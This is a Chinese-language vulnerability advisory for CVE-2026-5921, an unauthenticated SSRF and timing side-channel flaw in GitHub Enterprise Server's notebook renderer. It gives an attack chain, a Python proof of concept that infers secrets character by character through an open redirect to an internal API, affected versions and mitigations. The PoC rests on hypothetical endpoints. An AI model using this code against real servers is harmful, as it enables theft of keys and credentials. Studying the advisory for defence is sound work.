IPBUF安全漏洞报告
English
CVE-2026-5921 CVSS 8.9 高危

CVE-2026-5921 GitHub Enterprise Server SSRF漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-5921
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.9 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GitHub Enterprise Server

相关标签

SSRFGitHub Enterprise ServerSide-ChannelInformation Disclosure

漏洞概述

GitHub Enterprise Server中存在一个服务端请求伪造(SSRF)漏洞。攻击者可以通过针对笔记本渲染服务的时间侧信道攻击,从实例中提取敏感的环境变量。当禁用私有模式时,笔记本查看器会跟随HTTP重定向而不重新验证目标主机,从而启用了未经身份验证的SSRF攻击内部服务。攻击者通过链式调用内部API的正则过滤器查询并测量响应时间差异,可以逐个字符推断出秘密值。该漏洞影响GitHub Enterprise Server 3.21之前的所有版本。

技术细节

该漏洞源于GitHub Enterprise Server中的笔记本渲染服务在处理外部渲染请求时存在逻辑缺陷。当私有模式被禁用时,服务在处理笔记本内容中的HTTP请求时,会自动跟随重定向且不验证目标主机,导致SSRF。攻击者利用此漏洞,结合实例自身的开放重定向功能,将请求指向内部API。利用的核心在于时间侧信道技术:攻击者针对内部API构造带有正则表达式过滤器的恶意请求。例如,通过发送类似 `^A.*` 的正则来猜测环境变量的首字符。如果正则匹配成功,API的处理逻辑和响应时间通常与不匹配时存在细微差异。攻击者通过测量大量请求的响应时间,统计分析出匹配成功的字符,从而逐个字符地还原出敏感环境变量(如密钥、数据库凭证等)。整个利用过程无需认证,只需实例开放网络访问即可进行。

攻击链分析

STEP 1
侦察
识别目标GitHub Enterprise Server实例,确认其版本在3.21之前且私有模式处于禁用状态。
STEP 2
利用开放重定向
利用实例存在的开放重定向端点,构造指向内部服务的恶意重定向链接。
STEP 3
触发SSRF
通过笔记本渲染服务请求包含重定向的URL,服务跟随重定向向内部API发起未经验证的请求。
STEP 4
侧信道攻击
向内部API发送带有正则表达式过滤器的请求,利用响应时间差异判断正则是否匹配。
STEP 5
数据提取
逐字符推断环境变量值,最终获取敏感配置信息(如密钥)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # Target configuration target_url = "https://github-enterprise.example.com" # Hypothetical vulnerable endpoint for notebook rendering render_endpoint = f"{target_url}/notebooks/render" # Internal API to leak data from internal_api = "http://127.0.0.1/internal/api/secrets" # Characters to guess charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" secret = "" print("Starting SSRF Timing Side-Channel Attack...") for pos in range(10): # Assume secret length 10 for demo found_char = False for char in charset: # Construct regex payload to check if secret starts with current guess + char # Example regex: ^current_guess.* regex_payload = f"^{secret}{char}.*" # Payload exploiting open redirect + SSRF # Assuming the notebook renders a redirect to the internal API payload = { "url": f"{target_url}/redirect?url={internal_api}?filter={regex_payload}" } try: start_time = time.time() # Send request to vulnerable endpoint # Note: In a real scenario, this might require specific headers or notebook format r = requests.post(render_endpoint, json=payload, timeout=10) end_time = time.time() response_time = end_time - start_time # Threshold based on observed behavior (e.g., regex match takes longer) if response_time > 0.5: secret += char print(f"Found char '{char}' at position {pos}. Current secret: {secret}") found_char = True break except Exception as e: print(f"Error: {e}") continue if not found_char: print("Could not find matching character.") break

影响范围

GitHub Enterprise Server < 3.14.26
GitHub Enterprise Server 3.15.x < 3.15.21
GitHub Enterprise Server 3.16.x < 3.16.17
GitHub Enterprise Server 3.17.x < 3.17.14
GitHub Enterprise Server 3.18.x < 3.18.8
GitHub Enterprise Server 3.19.x < 3.19.5
GitHub Enterprise Server 3.20.x < 3.20.1

防御指南

临时缓解措施
如果无法立即升级,建议启用私有模式以防止笔记本查看器跟随未经验证的重定向,并限制对GitHub Enterprise Server实例的网络访问,特别是针对外部可访问的重定向端点进行访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表